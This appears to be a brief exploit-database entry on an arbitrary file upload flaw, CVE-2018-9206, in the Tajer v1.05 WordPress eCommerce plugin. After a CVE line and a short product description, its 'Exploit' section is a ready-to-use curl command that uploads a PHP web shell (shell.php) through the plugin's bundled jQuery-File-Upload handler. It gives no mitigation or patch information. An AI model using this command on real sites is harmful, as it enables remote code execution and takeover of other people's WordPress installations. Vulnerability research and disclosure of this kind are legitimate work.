Arbitrary file upload vulnerabiity in WordPress Plugin tajer v1.05
CVE ID(s):
CVE-2018-9206
Description:
Tajer – All In One eCommerce WordPress Premium Class Plugin. You can sell any kind of digital goods: downloads, articles, a piece of content or any kind of content or virtual products.
Exploit:
curl -F "files=@shell.php" http://192.168.0.47/wp-content/plugins/tajer/lib/jQuery-File-Upload-master/server/php/index.php